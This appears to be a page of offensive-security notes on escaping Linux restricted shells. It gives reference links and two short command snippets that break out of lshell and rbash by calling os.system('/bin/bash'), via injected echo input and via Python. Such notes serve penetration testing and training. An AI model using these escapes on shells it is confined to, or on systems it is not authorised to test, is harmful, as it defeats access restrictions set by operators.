> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/linux-unix/limited-shell-escape.md).

# Limited Shell Escape

[https://www.aldeid.com/wiki/Lshell\
https://vk9-sec.com/linux-restricted-shell-bypass/\
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf](https://www.aldeid.com/wiki/Lshellhttps://vk9-sec.com/linux-restricted-shell-bypass/https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf)

### lshell

```
$ echo os.system('/bin/bash')
```

### rbash

```
python
>>import os;
>>os.system("/bin/bash");
```